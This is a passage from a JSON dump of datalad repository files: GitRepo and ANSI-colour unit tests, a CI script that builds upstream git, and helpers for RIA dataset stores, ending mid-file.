eq_(gr.get_gitattributes('.')['.'], {})\\n # bool is a tag or unsets, anything else is key/value\\n gr.set_gitattributes([('*', {'tag': True}), ('*', {'sec.key': 'val'})])\\n ok_(op.exists(op.join(gr.path, '.gitattributes')))\\n eq_(gr.get_gitattributes('.')['.'], {'tag': True, 'sec.key': 'val'})\\n # unset by amending the record, but does not remove notion of the\\n # tag entirely\\n gr.set_gitattributes([('*', {'tag': False})])\\n eq_(gr.get_gitattributes('.')['.'], {'tag': False, 'sec.key': 'val'})\\n # attributes file is not added or committed, we can ignore such\\n # attributes\\n eq_(gr.get_gitattributes('.', index_only=True)['.'], {})\\n\\n # we can send absolute path patterns and write to any file, and\\n # the patterns will be translated relative to the target file\\n gr.set_gitattributes([\\n (op.join(gr.path, 'relative', 'ikethemike/**'), {'bang': True})],\\n attrfile=op.join('relative', '.gitattributes'))\\n # directory and file get created\\n ok_(op.exists(op.join(gr.path, 'relative', '.gitattributes')))\\n eq_(gr.get_gitattributes(\\n op.join(gr.path, 'relative', 'ikethemike', 'probe')),\\n # always comes out relative to the repo root, even if abs goes in\\n {op.join('relative', 'ikethemike', 'probe'):\\n {'tag': False, 'sec.key': 'val', 'bang': True}})\\n if get_encoding_info()['default'] != 'ascii' and not on_windows:\\n # do not perform this on obscure systems without anything like UTF\\n # it is not relevant whether a path actually exists, and paths\\n # with spaces and other funky stuff are just fine\\n funky = u'{} {}'.format(\\n get_most_obscure_supported_name(),\\n get_most_obscure_supported_name())\\n gr.set_gitattributes([(funky, {'this': 'that'})])\\n eq_(gr.get_gitattributes(funky)[funky], {\\n 'this': 'that',\\n 'tag': False,\\n 'sec.key': 'val',\\n })\\n\\n # mode='w' should replace the entire file:\\n gr.set_gitattributes([('**', {'some': 'nonsense'})], mode='w')\\n eq_(gr.get_gitattributes('.')['.'], {'some': 'nonsense'})\\n # mode='a' appends additional key/value\\n gr.set_gitattributes([('*', {'king': 'kong'})], mode='a')\\n eq_(gr.get_gitattributes('.')['.'], {'some': 'nonsense', 'king': 'kong'})\\n # handle files without trailing newline\\n with open(op.join(gr.path, '.gitattributes'), 'r+') as f:\\n s = f.read()\\n f.seek(0)\\n f.write(s.rstrip())\\n f.truncate()\\n gr.set_gitattributes([('*', {'ding': 'dong'})], mode='a')\\n eq_(gr.get_gitattributes('.')['.'],\\n {'some': 'nonsense', 'king': 'kong', 'ding': 'dong'})\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_get_hexsha_tag(path=None):\\n gr = GitRepo(path, create=True)\\n gr.commit(msg=\\\"msg\\\", options=[\\\"--allow-empty\\\"])\\n gr.tag(\\\"atag\\\", message=\\\"atag msg\\\")\\n # get_hexsha() dereferences a tag to a commit.\\n eq_(gr.get_hexsha(\\\"atag\\\"), gr.get_hexsha())\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_get_tags(path=None):\\n from unittest.mock import patch\\n\\n gr = GitRepo(path, create=True)\\n eq_(gr.get_tags(), [])\\n eq_(gr.describe(), None)\\n\\n # Explicitly override the committer date because tests may set it to a\\n # fixed value, but we want to check that the returned tags are sorted by\\n # the date the tag (for annotaged tags) or commit (for lightweight tags)\\n # was created.\\n with patch.dict(\\\"os.environ\\\", {\\\"GIT_COMMITTER_DATE\\\":\\n \\\"Thu, 07 Apr 2005 22:13:13 +0200\\\"}):\\n create_tree(gr.path, {'file': \\\"\\\"})\\n gr.add('file')\\n gr.commit(msg=\\\"msg\\\")\\n eq_(gr.get_tags(), [])\\n eq_(gr.describe(), None)\\n\\n gr.tag(\\\"nonannotated\\\")\\n tags1 = [{'name': 'nonannotated', 'hexsha': gr.get_hexsha()}]\\n eq_(gr.get_tags(), tags1)\\n eq_(gr.describe(), None)\\n eq_(gr.describe(tags=True), tags1[0]['name'])\\n\\n first_commit = gr.get_hexsha()\\n\\n with patch.dict(\\\"os.environ\\\", {\\\"GIT_COMMITTER_DATE\\\":\\n \\\"Fri, 08 Apr 2005 22:13:13 +0200\\\"}):\\n\\n create_tree(gr.path, {'file': \\\"123\\\"})\\n gr.add('file')\\n gr.commit(msg=\\\"changed\\\")\\n\\n with patch.dict(\\\"os.environ\\\", {\\\"GIT_COMMITTER_DATE\\\":\\n \\\"Fri, 09 Apr 2005 22:13:13 +0200\\\"}):\\n gr.tag(\\\"annotated\\\", message=\\\"annotation\\\")\\n # The annotated tag happened later, so it comes last.\\n tags2 = tags1 + [{'name': 'annotated', 'hexsha': gr.get_hexsha()}]\\n eq_(gr.get_tags(), tags2)\\n eq_(gr.describe(), tags2[1]['name'])\\n\\n # compare prev commit\\n eq_(gr.describe(commitish=first_commit), None)\\n eq_(gr.describe(commitish=first_commit, tags=True), tags1[0]['name'])\\n\\n gr.tag('specific', commit='HEAD~1')\\n eq_(gr.get_hexsha('specific'), gr.get_hexsha('HEAD~1'))\\n assert_in('specific', gr.get_tags(output='name'))\\n\\n # retag a different commit\\n assert_raises(CommandError, gr.tag, 'specific', commit='HEAD')\\n # force it\\n gr.tag('specific', commit='HEAD', options=['-f'])\\n eq_(gr.get_hexsha('specific'), gr.get_hexsha('HEAD'))\\n\\n # delete\\n gr.call_git(['tag', '-d', 'specific'])\\n eq_(gr.get_tags(), tags2)\\n # more than one\\n gr.tag('one')\\n gr.tag('two')\\n gr.call_git(['tag', '-d', 'one', 'two'])\\n eq_(gr.get_tags(), tags2)\\n\\n\\n@with_tree(tree={'1': \\\"\\\"})\\ndef test_get_commit_date(path=None):\\n gr = GitRepo(path, create=True)\\n eq_(gr.get_commit_date(), None)\\n\\n # Let's make a commit with a custom date\\n DATE = \\\"Wed Mar 14 03:47:30 2018 -0000\\\"\\n DATE_EPOCH = 1520999250\\n gr.add('1')\\n gr.commit(\\\"committed\\\", date=DATE)\\n gr = GitRepo(path, create=True)\\n date = gr.get_commit_date()\\n neq_(date, None)\\n eq_(date, DATE_EPOCH)\\n\\n eq_(date, gr.get_commit_date(DEFAULT_BRANCH))\\n # and even if we get into a detached head\\n gr.checkout(gr.get_hexsha())\\n eq_(gr.get_active_branch(), None)\\n eq_(date, gr.get_commit_date(DEFAULT_BRANCH))\\n\\n\\n@with_tree(tree={\\\"foo\\\": \\\"foo content\\\",\\n \\\"bar\\\": \\\"bar content\\\"})\\ndef test_fake_dates(path=None):\\n gr = GitRepo(path, create=True, fake_dates=True)\\n\\n gr.add(\\\"foo\\\")\\n gr.commit(\\\"commit foo\\\")\\n\\n seconds_initial = gr.config.obtain(\\\"datalad.fake-dates-start\\\")\\n\\n # First commit is incremented by 1 second.\\n eq_(seconds_initial + 1, gr.get_commit_date())\\n\\n # The second commit by 2.\\n gr.add(\\\"bar\\\")\\n gr.commit(\\\"commit bar\\\")\\n eq_(seconds_initial + 2, gr.get_commit_date())\\n\\n # If we checkout another branch, its time is still based on the latest\\n # timestamp in any local branch.\\n gr.checkout(\\\"other\\\", options=[\\\"--orphan\\\"])\\n with open(op.join(path, \\\"baz\\\"), \\\"w\\\") as ofh:\\n ofh.write(\\\"baz content\\\")\\n gr.add(\\\"baz\\\")\\n gr.commit(\\\"commit baz\\\")\\n eq_(gr.get_active_branch(), \\\"other\\\")\\n eq_(seconds_initial + 3, gr.get_commit_date())\\n\\n\\n@slow # 15sec on Yarik's laptop and tripped Travis CI\\n@with_tempfile(mkdir=True)\\ndef test_duecredit(path=None):\\n # Just to check that no obvious side-effects\\n run = WitlessRunner(cwd=path).run\\n cmd = [\\n sys.executable, \\\"-c\\\",\\n \\\"from datalad.support.gitrepo import GitRepo; GitRepo(%r, create=True)\\\" % path\\n ]\\n\\n env = os.environ.copy()\\n\\n # Test with duecredit not enabled for sure\\n env.pop('DUECREDIT_ENABLE', None)\\n # Alternative workaround for what to be fixed by\\n # https://github.com/datalad/datalad/pull/3215\\n # where underlying datalad process might issue a warning since our temp\\n # cwd is not matching possibly present PWD env variable\\n env.pop('PWD', None)\\n\\n out = run(cmd, env=env, protocol=StdOutErrCapture)\\n outs = ''.join(out.values()) # Let's not depend on where duecredit decides to spit out\\n # All quiet\\n test_string = 'Data management and distribution platform'\\n assert_not_in(test_string, outs)\\n\\n # and now enable DUECREDIT - output could come to stderr\\n env['DUECREDIT_ENABLE'] = '1'\\n out = run(cmd, env=env, protocol=StdOutErrCapture)\\n outs = ''.join(out.values())\\n\\n if external_versions['duecredit']:\\n assert_in(test_string, outs)\\n else:\\n assert_not_in(test_string, outs)\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_GitRepo_get_revisions(path=None):\\n gr = GitRepo(path, create=True)\\n\\n def commit(msg):\\n gr.commit(msg=msg, options=[\\\"--allow-empty\\\"])\\n\\n # We catch the error and return empty if the current branch doesn't have a\\n # commit checked out.\\n eq_(gr.get_revisions(), [])\\n\\n # But will raise if on a bad ref name, including an unborn branch.\\n with assert_raises(CommandError):\\n gr.get_revisions(DEFAULT_BRANCH)\\n\\n # By default, we query HEAD.\\n commit(\\\"1\\\")\\n eq_(len(gr.get_revisions()), 1)\\n\\n gr.checkout(\\\"other\\\", options=[\\\"-b\\\"])\\n commit(\\\"2\\\")\\n\\n # We can also query branch by name.\\n eq_(len(gr.get_revisions(DEFAULT_BRANCH)), 1)\\n eq_(len(gr.get_revisions(\\\"other\\\")), 2)\\n\\n # \\\"name\\\" is sugar for [\\\"name\\\"].\\n eq_(gr.get_revisions(DEFAULT_BRANCH),\\n gr.get_revisions([DEFAULT_BRANCH]))\\n\\n gr.checkout(DEFAULT_BRANCH)\\n commit(\\\"3\\\")\\n eq_(len(gr.get_revisions(DEFAULT_BRANCH)), 2)\\n # We can pass multiple revisions...\\n eq_(len(gr.get_revisions([DEFAULT_BRANCH, \\\"other\\\"])), 3)\\n # ... or options like --all and --branches\\n eq_(gr.get_revisions([DEFAULT_BRANCH, \\\"other\\\"]),\\n gr.get_revisions(options=[\\\"--all\\\"]))\\n\\n # Ranges are supported.\\n eq_(gr.get_revisions(DEFAULT_BRANCH + \\\"..\\\"), [])\\n\\n\\n@xfail_buggy_annex_info\\n@with_tree({\\\"foo\\\": \\\"foo\\\",\\n \\\".gitattributes\\\": \\\"* annex.largefiles=anything\\\"})\\ndef test_gitrepo_add_to_git_with_annex_v7(path=None):\\n from datalad.support.annexrepo import AnnexRepo\\n ar = AnnexRepo(path, create=True, version=7)\\n gr = GitRepo(path)\\n gr.add(\\\"foo\\\")\\n gr.commit(msg=\\\"c1\\\")\\n assert_false(ar.is_under_annex(\\\"foo\\\"))\\n\\n\\n@with_tree({\\\"foo\\\": \\\"foo\\\", \\\"bar\\\": \\\"bar\\\"})\\ndef test_gitrepo_call_git_methods(path=None):\\n gr = GitRepo(path)\\n gr.add([\\\"foo\\\", \\\"bar\\\"])\\n gr.commit(msg=\\\"foobar\\\")\\n gr.call_git([\\\"mv\\\"], files=[\\\"foo\\\", \\\"foo.txt\\\"])\\n ok_(op.exists(op.join(gr.path, 'foo.txt')))\\n\\n for expect_fail, check in [(False, assert_in),\\n (True, assert_not_in)]:\\n with swallow_logs(new_level=logging.DEBUG) as cml:\\n with assert_raises(CommandError):\\n gr.call_git([\\\"mv\\\"], files=[\\\"notthere\\\", \\\"dest\\\"],\\n expect_fail=expect_fail)\\n check(\\\"fatal: bad source\\\", cml.out)\\n\\n eq_(list(gr.call_git_items_([\\\"ls-files\\\"], read_only=True)),\\n [\\\"bar\\\", \\\"foo.txt\\\"])\\n eq_(list(gr.call_git_items_([\\\"ls-files\\\", \\\"-z\\\"], sep=\\\"\\\\0\\\", read_only=True)),\\n [\\\"bar\\\", \\\"foo.txt\\\"])\\n\\n with assert_raises(AssertionError):\\n gr.call_git_oneline([\\\"ls-files\\\"], read_only=True)\\n\\n eq_(gr.call_git_oneline([\\\"ls-files\\\"], files=[\\\"bar\\\"], read_only=True),\\n \\\"bar\\\")\\n\\n ok_(gr.call_git_success([\\\"rev-parse\\\", \\\"HEAD^{commit}\\\"], read_only=True))\\n with swallow_logs(new_level=logging.DEBUG) as cml:\\n assert_false(gr.call_git_success([\\\"rev-parse\\\", \\\"HEAD^{blob}\\\"],\\n read_only=True))\\n assert_not_in(\\\"expected blob type\\\", cml.out)\\n\\n\\n@integration\\n # http is well tested already\\n # 'git' is not longer supported\\n@pytest.mark.parametrize(\\\"proto\\\", [\\\"https\\\"])\\n@skip_if_no_network\\n@with_tempfile\\ndef test_protocols(destdir=None, *, proto):\\n # git-annex-standalone build can get git bundle which would fail to\\n # download via https, resulting in messages such as\\n # fatal: unable to find remote helper for 'https'\\n # which happened with git-annex-standalone 7.20191017+git2-g7b13db551-1~ndall+1\\n GitRepo.clone('%s://github.com/datalad-tester/testtt' % proto, destdir)\\n\\n@with_tempfile\\ndef test_gitrepo_push_default_first_kludge(path=None):\\n path = Path(path)\\n repo_a = GitRepo(path / \\\"a\\\", bare=True)\\n repo_b = GitRepo.clone(repo_a.path, str(path / \\\"b\\\"))\\n\\n (repo_b.pathobj / \\\"foo\\\").write_text(\\\"foo\\\")\\n repo_b.save()\\n\\n # push() usually pushes all refspecs in one go.\\n with swallow_logs(new_level=logging.DEBUG) as cml:\\n res_oneshot = repo_b.push(remote=DEFAULT_REMOTE,\\n refspec=[DEFAULT_BRANCH + \\\":b-oneshot\\\",\\n DEFAULT_BRANCH + \\\":a-oneshot\\\",\\n DEFAULT_BRANCH + \\\":c-oneshot\\\"])\\n cmds_oneshot = [ln for ln in cml.out.splitlines()\\n if \\\"Run\\\" in ln and \\\"push\\\" in ln and DEFAULT_BRANCH in ln]\\n eq_(len(cmds_oneshot), 1)\\n assert_in(\\\":a-oneshot\\\", cmds_oneshot[0])\\n assert_in(\\\":b-oneshot\\\", cmds_oneshot[0])\\n assert_in(\\\":c-oneshot\\\", cmds_oneshot[0])\\n eq_(len(res_oneshot), 3)\\n\\n # But if datalad-push-default-first is set...\\n cfg_var = f\\\"remote.{DEFAULT_REMOTE}.datalad-push-default-first\\\"\\n repo_b.config.set(cfg_var, \\\"true\\\", scope=\\\"local\\\")\\n with swallow_logs(new_level=logging.DEBUG) as cml:\\n res_twoshot = repo_b.push(remote=DEFAULT_REMOTE,\\n refspec=[DEFAULT_BRANCH + \\\":b-twoshot\\\",\\n DEFAULT_BRANCH + \\\":a-twoshot\\\",\\n DEFAULT_BRANCH + \\\":c-twoshot\\\"])\\n cmds_twoshot = [ln for ln in cml.out.splitlines()\\n if \\\"Run\\\" in ln and \\\"push\\\" in ln and DEFAULT_BRANCH in ln]\\n # ... there are instead two git-push calls.\\n eq_(len(cmds_twoshot), 2)\\n # The first is for the first item of the refspec.\\n assert_in(\\\":b-twoshot\\\", cmds_twoshot[0])\\n assert_not_in(\\\":b-twoshot\\\", cmds_twoshot[1])\\n # The remaining items are in the second call.\\n assert_in(\\\":a-twoshot\\\", cmds_twoshot[1])\\n assert_in(\\\":c-twoshot\\\", cmds_twoshot[1])\\n assert_not_in(\\\":c-twoshot\\\", cmds_twoshot[0])\\n assert_not_in(\\\":a-twoshot\\\", cmds_twoshot[0])\\n # The result returned by push() has the same number of records, though.\\n eq_(len(res_twoshot), 3)\\n # The configuration variable is removed afterward.\\n assert_false(repo_b.config.get(cfg_var))\\n\"\n },\n {\n \"alpha_fraction\": 0.5805829763412476,\n \"alphanum_fraction\": 0.5981690883636475,\n \"avg_line_length\": 41.35714340209961,\n \"blob_id\": \"55fb1815eb510bf380479f79efdd8cd66ae843fa\",\n \"content_id\": \"8ff4e1fd64da9a327932e8d8cd221fcf3b6e8b4c\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4151,\n \"license_type\": \"permissive\",\n \"max_line_length\": 97,\n \"num_lines\": 98,\n \"path\": \"/datalad/support/tests/test_ansi_colors.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python-mode; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Test ANSI color tools \\\"\\\"\\\"\\n\\nimport os\\nfrom unittest.mock import patch\\n\\nfrom datalad.support import ansi_colors as colors\\nfrom datalad.tests.utils_pytest import (\\n assert_equal,\\n patch_config,\\n)\\n\\n\\ndef test_color_enabled():\\n # In the absence of NO_COLOR, follow ui.color, or ui.is_interactive if 'auto'\\n with patch.dict(os.environ), \\\\\\n patch('datalad.support.ansi_colors.ui'):\\n os.environ.pop('NO_COLOR', None)\\n for is_interactive in (True, False):\\n colors.ui.is_interactive = is_interactive\\n with patch_config({'datalad.ui.color': 'off'}):\\n assert_equal(colors.color_enabled(), False)\\n with patch_config({'datalad.ui.color': 'on'}):\\n assert_equal(colors.color_enabled(), True)\\n with patch_config({'datalad.ui.color': 'auto'}):\\n assert_equal(colors.color_enabled(), is_interactive)\\n\\n # In the presence of NO_COLOR, default to disable, unless ui.color is \\\"on\\\"\\n # The value of NO_COLOR should have no effect, so try true-ish and false-ish values\\n for NO_COLOR in (\\\"\\\", \\\"1\\\", \\\"0\\\"):\\n with patch.dict(os.environ, {'NO_COLOR': NO_COLOR}), \\\\\\n patch('datalad.support.ansi_colors.ui'):\\n for is_interactive in (True, False):\\n colors.ui.is_interactive = is_interactive\\n with patch_config({'datalad.ui.color': 'on'}):\\n assert_equal(colors.color_enabled(), True)\\n for ui_color in ('off', 'auto'):\\n with patch_config({'datalad.ui.color': ui_color}):\\n assert_equal(colors.color_enabled(), False)\\n\\n#\\n# In all other tests, just patch color_enabled\\n#\\n\\n\\ndef test_format_msg():\\n fmt = r'a$BOLDb$RESETc$BOLDd$RESETe'\\n for enabled in (True, False):\\n with patch('datalad.support.ansi_colors.color_enabled', lambda: enabled):\\n assert_equal(colors.format_msg(fmt), 'abcde')\\n assert_equal(colors.format_msg(fmt, use_color=False), 'abcde')\\n\\n with patch('datalad.support.ansi_colors.color_enabled', lambda: False):\\n for use_color in (True, False):\\n assert_equal(colors.format_msg(fmt), 'abcde')\\n assert_equal(colors.format_msg(fmt, use_color=use_color), 'abcde')\\n\\n with patch('datalad.support.ansi_colors.color_enabled', lambda: True):\\n assert_equal(colors.format_msg(fmt, use_color=True), 'a\\\\033[1mb\\\\033[0mc\\\\033[1md\\\\033[0me')\\n\\n\\ndef test_color_word():\\n s = 'word'\\n green_s = '\\\\033[1;32mword\\\\033[0m'\\n for enabled in (True, False):\\n with patch('datalad.support.ansi_colors.color_enabled', lambda: enabled):\\n assert_equal(colors.color_word(s, colors.GREEN, force=True), green_s)\\n\\n with patch('datalad.support.ansi_colors.color_enabled', lambda: True):\\n assert_equal(colors.color_word(s, colors.GREEN), green_s)\\n assert_equal(colors.color_word(s, colors.GREEN, force=False), green_s)\\n\\n with patch('datalad.support.ansi_colors.color_enabled', lambda: False):\\n assert_equal(colors.color_word(s, colors.GREEN), s)\\n assert_equal(colors.color_word(s, colors.GREEN, force=False), s)\\n\\n\\ndef test_color_status():\\n # status -> (plain, colored)\\n statuses = {\\n 'ok': ('ok', '\\\\033[1;32mok\\\\033[0m'),\\n 'notneeded': ('notneeded', '\\\\033[1;32mnotneeded\\\\033[0m'),\\n 'impossible': ('impossible', '\\\\033[1;33mimpossible\\\\033[0m'),\\n 'error': ('error', '\\\\033[1;31merror\\\\033[0m'),\\n 'invalid': ('invalid', 'invalid'),\\n }\\n\\n for enabled in (True, False):\\n with patch('datalad.support.ansi_colors.color_enabled', lambda: enabled):\\n for status, retopts in statuses.items():\\n assert_equal(colors.color_status(status), retopts[enabled])\\n\"\n },\n {\n \"alpha_fraction\": 0.6636363863945007,\n \"alphanum_fraction\": 0.668181836605072,\n \"avg_line_length\": 19,\n \"blob_id\": \"43a15af485f572f0d4f47d4c27213a4161bf5025\",\n \"content_id\": \"e61f137107d4fb58b8200f5b378faae5eeb3a5a5\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 220,\n \"license_type\": \"permissive\",\n \"max_line_length\": 50,\n \"num_lines\": 11,\n \"path\": \"/tools/ci/install-upstream-git.sh\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/bin/sh\\n\\ntarget_dir=\\\"$PWD/git-src\\\"\\ngit clone https://github.com/git/git \\\"$target_dir\\\"\\n(\\n cd \\\"$target_dir\\\"\\n git checkout origin/master\\n make --jobs 2\\n)\\nexport PATH=\\\"$target_dir/bin-wrappers/:$PATH\\\"\\ngit version\\n\"\n },\n {\n \"alpha_fraction\": 0.6046624183654785,\n \"alphanum_fraction\": 0.6064742207527161,\n \"avg_line_length\": 33.0699577331543,\n \"blob_id\": \"665b191c17277c643e83652c2eb62f25d9f32c58\",\n \"content_id\": \"d009ea4737f094b25fb6b57ea470de51cbc48051\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 8281,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 243,\n \"path\": \"/datalad/customremotes/ria_utils.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Helper for RIA stores\\n\\n\\\"\\\"\\\"\\nimport logging\\nfrom pathlib import Path\\n\\n\\nlgr = logging.getLogger('datalad.customremotes.ria_utils')\\n\\n\\nclass UnknownLayoutVersion(Exception):\\n pass\\n\\n\\n# TODO: Make versions a tuple of (label, description)?\\n# Object tree versions we introduced so far. This is about the layout within a\\n# dataset in a RIA store\\nknown_versions_objt = ['1', '2']\\n# Dataset tree versions we introduced so far. This is about the layout of\\n# datasets in a RIA store\\nknown_versions_dst = ['1']\\n\\n\\n# TODO: This is wrong and should consider both versions (store+dataset)\\ndef get_layout_locations(version, base_path, dsid):\\n \\\"\\\"\\\"Return dataset-related path in a RIA store\\n\\n Parameters\\n ----------\\n version : int\\n Layout version of the store.\\n base_path : Path\\n Base path of the store.\\n dsid : str\\n Dataset ID\\n\\n Returns\\n -------\\n Path, Path, Path\\n The location of the bare dataset repository in the store,\\n the directory with archive files for the dataset, and the\\n annex object directory are return in that order.\\n \\\"\\\"\\\"\\n if version == 1:\\n dsgit_dir = base_path / dsid[:3] / dsid[3:]\\n archive_dir = dsgit_dir / 'archives'\\n dsobj_dir = dsgit_dir / 'annex' / 'objects'\\n return dsgit_dir, archive_dir, dsobj_dir\\n else:\\n raise ValueError(\\\"Unknown layout version: {}. Supported: {}\\\"\\n \\\"\\\".format(version, known_versions_dst))\\n\\n\\ndef verify_ria_url(url, cfg):\\n \\\"\\\"\\\"Verify and decode ria url\\n\\n Expects a ria-URL pointing to a RIA store, applies rewrites and tries to\\n decode potential host and base path for the store from it. Additionally\\n raises if `url` is considered invalid.\\n\\n ria+ssh://somehost:/path/to/store\\n ria+file:///path/to/store\\n\\n Parameters\\n ----------\\n url : str\\n URL to verify an decode.\\n cfg : dict-like\\n Configuration settings for rewrite_url()\\n\\n Raises\\n ------\\n ValueError\\n\\n Returns\\n -------\\n tuple\\n (host, base-path, rewritten url)\\n `host` is not just a hostname, but is a stub URL that may also contain\\n username, password, and port, if specified in a given URL.\\n `base-path` is the unquoted path component of the url\\n \\\"\\\"\\\"\\n from datalad.config import rewrite_url\\n from datalad.support.network import URL\\n\\n if not url:\\n raise ValueError(\\\"Got no URL\\\")\\n\\n url = rewrite_url(cfg, url)\\n url_ri = URL(url)\\n if not url_ri.scheme.startswith('ria+'):\\n raise ValueError(\\\"Missing ria+ prefix in final URL: %s\\\" % url)\\n if url_ri.fragment:\\n raise ValueError(\\n \\\"Unexpected fragment in RIA-store URL: %s\\\" % url_ri.fragment)\\n protocol = url_ri.scheme[4:]\\n if protocol not in ['ssh', 'file', 'http', 'https']:\\n raise ValueError(\\\"Unsupported protocol: %s. \\\"\\n \\\"Supported: ssh, file, http(s)\\\" %\\n protocol)\\n\\n host = '{proto}://{user}{pdlm}{passwd}{udlm}{host}{portdlm}{port}'.format(\\n proto=protocol,\\n user=url_ri.username or '',\\n pdlm=':' if url_ri.password else '',\\n passwd=url_ri.password or '',\\n udlm='@' if url_ri.username else '',\\n host=url_ri.hostname or '',\\n portdlm=':' if url_ri.port else '',\\n port=url_ri.port or '',\\n )\\n # this ``!= 'file'´´ is critical behavior, if removed, it will ruin the IO\\n # selection in ORARemote!!\\n return host if protocol != 'file' else None, url_ri.path or '/', url\\n\\n\\ndef _ensure_version(io, base_path, version):\\n \\\"\\\"\\\"Check a store or dataset version and make sure it is declared\\n\\n Parameters\\n ----------\\n io: SSHRemoteIO or LocalIO\\n base_path: Path\\n root path of a store or dataset\\n version: str\\n target layout version of the store (dataset tree)\\n \\\"\\\"\\\"\\n version_file = base_path / 'ria-layout-version'\\n if io.exists(version_file):\\n existing_version = io.read_file(version_file).split('|')[0].strip()\\n if existing_version != version.split('|')[0]:\\n # We have an already existing location with a conflicting version on\\n # record.\\n # Note, that a config flag after pipe symbol is fine.\\n raise ValueError(\\\"Conflicting version found at target: {}\\\"\\n .format(existing_version))\\n else:\\n # already exists, recorded version fits - nothing to do\\n return\\n # Note, that the following does create the base-path dir as well, since\\n # mkdir has parents=True:\\n io.mkdir(base_path)\\n io.write_file(version_file, version)\\n\\n\\ndef create_store(io, base_path, version):\\n \\\"\\\"\\\"Helper to create a RIA store\\n\\n Note, that this is meant as an internal helper and part of intermediate\\n RF'ing. Ultimately should lead to dedicated command or option for\\n create-sibling-ria.\\n\\n Parameters\\n ----------\\n io: SSHRemoteIO or LocalIO\\n Respective execution instance.\\n Note: To be replaced by proper command abstraction\\n base_path: Path\\n root path of the store\\n version: str\\n layout version of the store (dataset tree)\\n \\\"\\\"\\\"\\n\\n # At store level the only version we know as of now is 1.\\n if version not in known_versions_dst:\\n raise UnknownLayoutVersion(\\\"RIA store layout version unknown: {}.\\\"\\n \\\"Supported versions: {}\\\"\\n .format(version, known_versions_dst))\\n _ensure_version(io, base_path, version)\\n error_logs = base_path / 'error_logs'\\n io.mkdir(error_logs)\\n\\n\\ndef create_ds_in_store(io, base_path, dsid, obj_version, store_version,\\n alias=None, init_obj_tree=True):\\n \\\"\\\"\\\"Helper to create a dataset in a RIA store\\n\\n Note, that this is meant as an internal helper and part of intermediate\\n RF'ing. Ultimately should lead to a version option for create-sibling-ria\\n in conjunction with a store creation command/option.\\n\\n Parameters\\n ----------\\n io: SSHRemoteIO or LocalIO\\n Respective execution instance.\\n Note: To be replaced by proper command abstraction\\n base_path: Path\\n root path of the store\\n dsid: str\\n dataset id\\n store_version: str\\n layout version of the store (dataset tree)\\n obj_version: str\\n layout version of the dataset itself (object tree)\\n alias: str, optional\\n alias for the dataset in the store\\n init_obj_tree: bool\\n whether or not to create the base directory for an annex objects tree (\\n 'annex/objects')\\n \\\"\\\"\\\"\\n\\n # TODO: Note for RF'ing, that this is about setting up a valid target\\n # for the special remote not a replacement for create-sibling-ria.\\n # There's currently no git (bare) repo created.\\n\\n try:\\n # TODO: This is currently store layout version!\\n # Too entangled by current get_layout_locations.\\n dsgit_dir, archive_dir, dsobj_dir = \\\\\\n get_layout_locations(int(store_version), base_path, dsid)\\n except ValueError as e:\\n raise UnknownLayoutVersion(str(e))\\n\\n if obj_version not in known_versions_objt:\\n raise UnknownLayoutVersion(\\\"Dataset layout version unknown: {}. \\\"\\n \\\"Supported: {}\\\"\\n .format(obj_version, known_versions_objt))\\n\\n _ensure_version(io, dsgit_dir, obj_version)\\n\\n io.mkdir(archive_dir)\\n if init_obj_tree:\\n io.mkdir(dsobj_dir)\\n if alias:\\n alias_dir = base_path / \\\"alias\\\"\\n io.mkdir(alias_dir)\\n try:\\n # go for a relative path to keep the alias links valid\\n # when moving a store\\n io.symlink(\\n Path('..') / dsgit_dir.relative_to(base_path),\\n alias_dir / alias)\\n except FileExistsError:\\n lgr.warning(\\\"Alias %r already exists in the RIA store, not adding an \\\"\\n \\\"alias.\\\", alias)\\n\"\n },\n {\n \"alpha_fraction\": 0.5762974619865417,\n \"alphanum_fraction\": 0.5852052569389343,\n \"avg_line_length\": 25.89583396911621,\n \"blob_id\": \"ea3cfb2d32378e59649f8cc37f37318fd475b168\",\n \"content_id\": \"1c7beaf30eb0dc379ae314f9f21c32581392a73f\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2582,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 96,\n \"path\": \"/datalad/support/ansi_colors.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# 